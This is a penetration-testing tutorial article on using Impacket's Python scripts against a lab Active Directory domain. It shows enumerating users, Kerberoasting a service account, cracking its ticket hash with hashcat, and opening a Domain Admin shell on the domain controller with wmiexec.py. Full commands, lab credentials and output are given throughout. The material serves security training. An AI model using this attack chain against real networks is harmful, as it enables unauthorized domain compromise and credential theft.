Secure coding

Python for network penetration testing: Hacking Windows domain controllers with impacket Python tools

Srinivas
December 21, 2020 by
Srinivas

Impacket is one of the most popular tools available for Network Penetration testing. This toolset is a great example of the power of python in network penetration testing. This article explains how Impacket can be used to perform some interesting network based attacks in an Active Directory environment.

What is impacket?

According to the official page of Impacket by SecureAuth, “Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself.

Packets can be constructed from scratch, as well as parsed from raw data, and the object oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library”.

Impacket library comes with a collection of python scripts that are extremely useful in various different scenarios for security professionals. In this article, we will specifically explore some of the Impacket tools that are helpful in attacking Domain Controllers in Active Directory environments.

Learn Secure Coding

Learn Secure Coding

Build your secure coding skills in C/C++, iOS, Java, .NET, Node.js, PHP and other languages.

What Windows protocols and domain controllers can Impacket exploit?

As shown in the official web page of Impacket, the following protocols are featured in Impacket.

  • Ethernet, Linux “Cooked” capture.
  • IP, TCP, UDP, ICMP, IGMP, ARP.
  • IPv4 and IPv6 Support.
  • NMB and SMB1, SMB2 and SMB3 (high-level implementations).
  • MSRPC version 5, over different transports: TCP, SMB/TCP, SMB/NetBIOS and HTTP.
  • Plain, NTLM and Kerberos authentications, using password/hashes/tickets/keys.
  • Portions/full implementation of the following MSRPC interfaces: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, DCOM, WMI
  • Portions of TDS (MSSQL) and LDAP protocol implementations.

Protocols such as WMI and DCOM are extremely useful in lateral movement in an AD environment. In the next few sections of the article, let us discuss how Impacket can be used against Domain Controllers to abuse some of the protocols listed here.

Installation:

Impacket can be downloaded from the official GitHub page of SecureAuthCorp and run using a python interpreter. According to the GitHub page, Python 2.6/2.7 and Python 3.7 the versions that are known to work.

In this case, we will set up Impackt using Docker on Kali Linux, which is running as a virtual machine. 

Note: Docker must be installed before attempting to build the image.

First, clone the source code using git as shown in the following excerpt and navigate to the impacket directory.

$ git clone https://github.com/SecureAuthCorp/impacket.git

$ cd impacket

$ ls

ChangeLog  Dockerfile  examples  impacket  LICENSE  MANIFEST.in  README.md  requirements.txt  setup.py  tests  tox.ini

$

 

As we can notice, there is a Dockerfile. Run the following command, to build the docker image using the Dockerfile available.

$ docker build -t impacket:latest .

 

As we can notice, the image is named impacket and tagged latest. Following is the output of the preceding command.

$ docker build -t impacket:latest .

Sending build context to Docker daemon   14.7MB

Step 1/12 : FROM python:2-alpine as compile

2-alpine: Pulling from library/python

aad63a933944: Pull complete 

259d822268fb: Pull complete 

10ba96d218d3: Pull complete 

44ba9f6a4209: Pull complete 

Digest: sha256:724d0540eb56ffaa6dd770aa13c3bc7dfc829dec561d87cb36b2f5b9ff8a760a

Status: Downloaded newer image for python:2-alpine

 ---> 8579e446340f

Step 2/12 : WORKDIR /opt

 ---> Running in 6fd58d64ac4a

Removing intermediate container 6fd58d64ac4a

 ---> 8e3360b25ca3

.

.

[redacted for brevity]

.

.

Step 9/12 : FROM python:2-alpine

 ---> 8579e446340f

Step 10/12 : COPY --from=compile /opt/venv /opt/venv

 ---> bcb1623ac10e

Step 11/12 : ENV PATH="/opt/venv/bin:$PATH"

 ---> Running in 240721305da2

Removing intermediate container 240721305da2

 ---> 61530384f630

Step 12/12 : ENTRYPOINT ["/bin/sh"]

 ---> Running in 053e56eb9132

Removing intermediate container 053e56eb9132

 ---> 54731856b89e

Successfully built 54731856b89e

Successfully tagged impacket:latest

 

Once the image is built, we can verify if the image is successfully built using the following command. 

$ docker images impacket

REPOSITORY          TAG                 IMAGE ID            CREATED              SIZE

impacket            latest              54731856b89e        About a minute ago   155MB

$

 

After the image is built, impackt can be used by spinning up a new container. The following command can be used to spin up a new container and it gives a shell on the container by default.

$ docker run -it impacket / # 

 

On the container shell, we can type any impacket script name and hit tab for suggestions as shown in the following excerpt.

/ # Get

GetADUsers.py    GetADUsers.pyc   GetNPUsers.py    GetNPUsers.pyc   GetUserSPNs.py   GetUserSPNs.pyc

/ #

 

With this, the Impacket setup is complete and we are ready to use it. 

Attacking AD Environments using Impacket:

Assuming that we have already gained foothold in the network with low privileged domain user credentials, let us understand how we can use some of the scripts from Impacket to perform attacks against Active Directory environments.

Our environment:

Following is the environment we are using to demonstrate the concepts.

Domain Controller hostname: DC2019

Domain FQDN: ADLAB.local

Low privileged user credentials:  bob:p@ssw0rD

Attacking machine: Kali Linux (Impacket running using Docker within Kali Linux)

 

AD User Enumeration:

Enumerating Active Directory users, groups, computers and their relationships is a crucial step in attacking AD environments. Let us use the script GetADUsers.py to dump the full list of users available in the target domain. The following command can be used to retrieve AD users.

/ # GetADUsers.py -dc-ip 192.168.235.134 ADLAB.local/bob:p@ssw0rD

 

Since our attacking machine is not part of the domain, we will need to explicitly specify the domain controller IP address using -dc-ip flag as shown in the preceding command. 

This command however will not return any users as an email id filter is used in the script by default and there are no email ids available in our target environment. This can be seen by runnin the preceding command with the option -debug.

/ # GetADUsers.py -dc-ip 192.168.235.134 ADLAB.local/bob:p@ssw0rD -debug

 

This command will return an empty user list with the details of the filter used as follows.

[+] Search Filter=(&(sAMAccountName=*)(mail=*)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))) 

 

To override this default behaviour we can use -all flag and it will return all the users available in the domain. The command looks as follows.

/ # GetADUsers.py -dc-ip 192.168.235.134 ADLAB.local/bob:p@ssw0rD -debug -all

 

The output looks as follows.

Name                  Email        PasswordLastSet      LastLogon           

--------------------  ------------ -------------------  -------------------

[+] Search Filter=(&(sAMAccountName=*)(objectCategory=user))

Administrator                      2020-10-27 03:05:53.839096  <redacted>

Guest                              <never>                     <never>             

krbtgt                             2020-10-27 03:15:54.552696  <never>             

bob                                2020-10-27 03:21:17.773021  <redacted>

tom                                2020-10-27 03:24:08.129552  <never>             

admin                              2020-10-27 03:25:06.129524  <never>             

sqlservice                         2020-12-15 14:49:04.366695  <redacted>

/ # 

 

Since this is a lab setup, there are very few records setup. In a real environment, this list will be much longer. Additionally, we can also notice that the filter used this time is (&(sAMAccountName=*)(objectCategory=user)).

Using python for Privilege Escalation:

Now, let us use another python script available in Impacket library to elevate our privileges from domain user to a domain administrator. To achieve this, we are going to use a technique called Kerberoasting, which will be explained shortly. Note that the success of this attack relies on a few other factors, which we will discuss shortly. 

First, let us identify all the accounts in the domain with Service Principal Name (SPN) set. This can be done using the following command.

/ # GetUserSPNs.py -dc-ip 192.168.235.134 ADLAB.local/bob:p@ssw0rD

 

Running this command shows the list of service accounts as follows. 

ServicePrincipalName                Name        MemberOf                                                   

----------------------------------  ----------  -------------------------------------------  

DC2019/sqlservice.ADLAB.local:1434  sqlservice  CN=Domain Admins,CN=Users,DC=ADLAB,DC=local             

 

As we can notice, we got a service account named sqlservice

What is Kerberoasting?

In an Active Directory domain environment, any authenticated domain user without administrative privileges can request service tickets (TGS) for service accounts by specifying their SPN values. In response to this request, Active Directory will return a ticket, which is encrypted using the NTLM hash of the account associated with that SPN. Once the ticket is obtained, offline cracking can be performed using tools like Hashcat to recover the service account password in plain text. If the cracked service accounts are misconfigured to have unlimited privileges such as Domain Administrator, an attacker can become a Domain Admin just by compromising these service accounts. Let us see an example of how this can be achieved using impacket’s GetUsersSPNs.py.

Requesting a TGS:

The following command can be used to request a TGS for the service account sqlservice.

/ # GetUserSPNs.py -request -dc-ip 192.168.235.134 ADLAB.local/sqlservice

 

The output contains an encrypted ticket which looks as follows.

$krb5tgs$23$*sqlservice$ADLAB.LOCAL$ADLAB.local/sqlservice*$bbe71f920d3b465404353ed6f2b50eb3$87ab088c9a16e3b6016303e923ac3a869de09a4536dd42c3e73d6c68524ca788e5c0bb645a288121bcfa46534641de2cb5b8d7857b2ead5fe0a085749578d3769d634eeeda25eb61386429f47889c1c431987e6ec6cd614cd5e77f346691f60320a71883623daf6e1d6dae82e3cd0c32fe7170bf7153c888fb84ffb50e7ebda8648a49095308d8d61fd68d2a11243cd281b54349127ed6d093da3f27be8fab870d663e73208b64e241931eb528282eba68d10bc77ebbfaa483937eb13ef64c6b8d0e9907cc9ce51c02866b347783a029e22b1c72de03e6c7bcf3b038bfaf6dc7fadc907b969d41b325338aa7d8aff08ecd73acada2cb1fc499be85d414897fe0d4e75a3abc9a5843b202f4aa90066a63a9b2df6b909496195d0961a8d907bb8821462368d7d224bba8618264e4db39a3237d7d2dc0ff934082e2db4f4e7d05919f1b9a9e91492c37f75ec8b3ca19add4163228a09e158a18f3697d0e17786e236c4ad46d6b0eaf1226ba99309f7fcc484641cc19a64253125fb4660b6ccc3d7cfad37fd90235cff8575a4a44be0ce8487d9e117e0ec14bc94252673c0f9fae514a08f1f38f28ab59b9c76f6dd61c88f7b638a5525a5f27448a3760cd26b1f010d0abc0715b837400e844bcdf7f3d7cec01bf30b49f82b4f252b46f10aa42c347d9e2809e28980e04d2a9004e6d06d9c71769b795e5f047b66aa7274d7f3f3d469ae487a457880cd21ed81d86b247de42bc96cf3e04f4fb4b4e3971efa21ba3de54b1aeedb412aee1eec48e2efa4bf475b29f769b99db5a6726dcc6ed5b171ab918ca02b92d1aed1916389a38d2fc3918e198c2296e9c4f5ed6d2a17937aa507f21397695defbdeb2dbfe02524ee004a313750e3b56dac53f7c5d91283cbcfd2b73a600879bed0c93e04c962076320a0eea63ce8425f787d4abf37b2bdfe12ce9d6c7ef5f45b4ccf461e3e45fa5262c1b733af7530260ed1c88342d540da20225ac002206d19835dd915bed991ec31eca7314543de461ec3bc93a53210126cf457518d2fda04096aa1c4476580a2235e21931209203283e42533c6bfcb91a74718a9b6f05f2800bd8773c609b0abc1b9907eb781c29a08dc35d631445c4363ed7f001209c7231c92b6e2a5942ff3e78b243c3b4787d041a94f07e716cd0b40fa3216d63987c4771ff2634fbf52268f3364e707bd26967b4f1d3c7f986cb984a481dc13c07ea0bed3d7ab0de0efdd85541d7ab8fd44fbb223c5a159eece421680c2726636b36649f4307291821eb01138020d70ed8c7c511ef58b7c2a7beca76bee670d1584737a496f3a0937adcb9b8a387de4cf2406829a6875d940d87c366095c71247fade89066f14029e0375317bca441d3ea95983be0a478fc32fe4b / # 

 

We can copy this into a file named hashes.txt and run hashcat against it using a wordlist as shown below.

$ hashcat -m 13100 hashes.txt wordlist.txt -O

hashcat (v6.0.0) starting...

[REDACTED FOR BREVITRY]

$krb5tgs$23$*sqlservice$ADLAB.LOCAL$ADLAB.local/sqlservice*$bbe71f920d3b465404353ed6f2b50eb3$87ab088c9a16e3b6016303e923ac3a869de09a4536dd42c3e73d6c68524ca788e5c0bb645a288121bcfa46534641de2cb5b8d7857b2ead5fe0a085749578d3769d634eeeda25eb61386429f47889c1c431987e6ec6cd614cd5e77f346691f60320a71883623daf6e1d6dae82e3cd0c32fe7170bf7153c888fb84ffb50e7ebda8648a49095308d8d61fd68d2a11243cd281b54349127ed6d093da3f27be8fab870d663e73208b64e241931eb528282eba68d10bc77ebbfaa483937eb13ef64c6b8d0e9907cc9ce51c02866b347783a029e22b1c72de03e6c7bcf3b038bfaf6dc7fadc907b969d41b325338aa7d8aff08ecd73acada2cb1fc499be85d414897fe0d4e75a3abc9a5843b202f4aa90066a63a9b2df6b909496195d0961a8d907bb8821462368d7d224bba8618264e4db39a3237d7d2dc0ff934082e2db4f4e7d05919f1b9a9e91492c37f75ec8b3ca19add4163228a09e158a18f3697d0e17786e236c4ad46d6b0eaf1226ba99309f7fcc484641cc19a64253125fb4660b6ccc3d7cfad37fd90235cff8575a4a44be0ce8487d9e117e0ec14bc94252673c0f9fae514a08f1f38f28ab59b9c76f6dd61c88f7b638a5525a5f27448a3760cd26b1f010d0abc0715b837400e844bcdf7f3d7cec01bf30b49f82b4f252b46f10aa42c347d9e2809e28980e04d2a9004e6d06d9c71769b795e5f047b66aa7274d7f3f3d469ae487a457880cd21ed81d86b247de42bc96cf3e04f4fb4b4e3971efa21ba3de54b1aeedb412aee1eec48e2efa4bf475b29f769b99db5a6726dcc6ed5b171ab918ca02b92d1aed1916389a38d2fc3918e198c2296e9c4f5ed6d2a17937aa507f21397695defbdeb2dbfe02524ee004a313750e3b56dac53f7c5d91283cbcfd2b73a600879bed0c93e04c962076320a0eea63ce8425f787d4abf37b2bdfe12ce9d6c7ef5f45b4ccf461e3e45fa5262c1b733af7530260ed1c88342d540da20225ac002206d19835dd915bed991ec31eca7314543de461ec3bc93a53210126cf457518d2fda04096aa1c4476580a2235e21931209203283e42533c6bfcb91a74718a9b6f05f2800bd8773c609b0abc1b9907eb781c29a08dc35d631445c4363ed7f001209c7231c92b6e2a5942ff3e78b243c3b4787d041a94f07e716cd0b40fa3216d63987c4771ff2634fbf52268f3364e707bd26967b4f1d3c7f986cb984a481dc13c07ea0bed3d7ab0de0efdd85541d7ab8fd44fbb223c5a159eece421680c2726636b36649f4307291821eb01138020d70ed8c7c511ef58b7c2a7beca76bee670d1584737a496f3a0937adcb9b8a387de4cf2406829a6875d940d87c366095c71247fade89066f14029e0375317bca441d3ea95983be0a478fc32fe4b:p@ssw0rD

                                                 

[REDACTED FOR BREVITY]

$

 

As we can notice in the preceding excerpt, the service account password is cracked.

Gaining shell as a Domain Administrator:

As a next step, one can use Impacket’s wmiexec.py to gain shell access on the Domain Controller remotely. To do this, the following command can be used.

/ # wmiexec.py -debug sqlservice:p\@ssw0rD@192.168.235.134

 

As we can notice, we are using the service account credentials that we compromised earlier. If successful, we should see a remote shell on the Domain Controller as shown in the following excerpt.

/ # wmiexec.py -debug sqlservice:p\@ssw0rD@192.168.235.134

Impacket v0.9.23.dev1+20201209.133255.ac30770 - Copyright 2020 SecureAuth Corporation

[+] Impacket Library Installation Path: /opt/venv/lib/python2.7/site-packages/impacket

[*] SMBv3.0 dialect used

[+] Target system is 192.168.235.134 and isFDQN is False

[+] StringBinding: \\\\DC2019[\\PIPE\\atsvc]

[+] StringBinding: DC2019[49666]

[+] StringBinding: 192.168.235.134[49666]

[+] StringBinding chosen: ncacn_ip_tcp:192.168.235.134[49666]

[!] Launching semi-interactive shell - Careful what you execute

[!] Press help for extra shell commands

C:\>

 

We can verify our privileges using the following commands.

C:\>whoami

adlab\sqlservice

C:\>net user sqlservice

User name                    sqlservice

Full Name                    SQLService

Comment                      

User's comment               

Country/region code          000 (System Default)

Account active               Yes

Account expires              Never

Password last set            12/15/2020 6:49:04 AM

Password expires             Never

Password changeable          12/16/2020 6:49:04 AM

Password required            Yes

User may change password     Yes

Workstations allowed         All

Logon script                 

User profile                 

Home directory               

Last logon                   12/15/2020 7:26:16 AM

Logon hours allowed          All

Local Group Memberships      

Global Group memberships     *Domain Admins        *Domain Users         

The command completed successfully.

C:\>

 

As we can observe in the preceding excerpt, we have logged into the Domain Controller using Domain Admin rights.

Learn Python for Pentesting

Learn Python for Pentesting

Build your Python pentesting skills with four hands-on courses courses covering Python basics, exploiting vulnerabilities, and performing network and web app penetration tests.

Conclusion

In this article, we discussed how powerful python is to perform network penetration testing. To avoid reinventing the wheel by writing our own script, we made use of a powerful framework called Impacket to demonstrate the power of Python for network penetration testing. Clearly, Python can be used to create almost any popular network protocol as demonstrated in Impacket.

Sources

Srinivas
Srinivas

Srinivas is an Information Security professional with 4 years of industry experience in Web, Mobile and Infrastructure Penetration Testing. He is currently a security researcher at Infosec Institute Inc. He holds Offensive Security Certified Professional(OSCP) Certification. He blogs atwww.androidpentesting.com. Email: srini0x00@gmail.com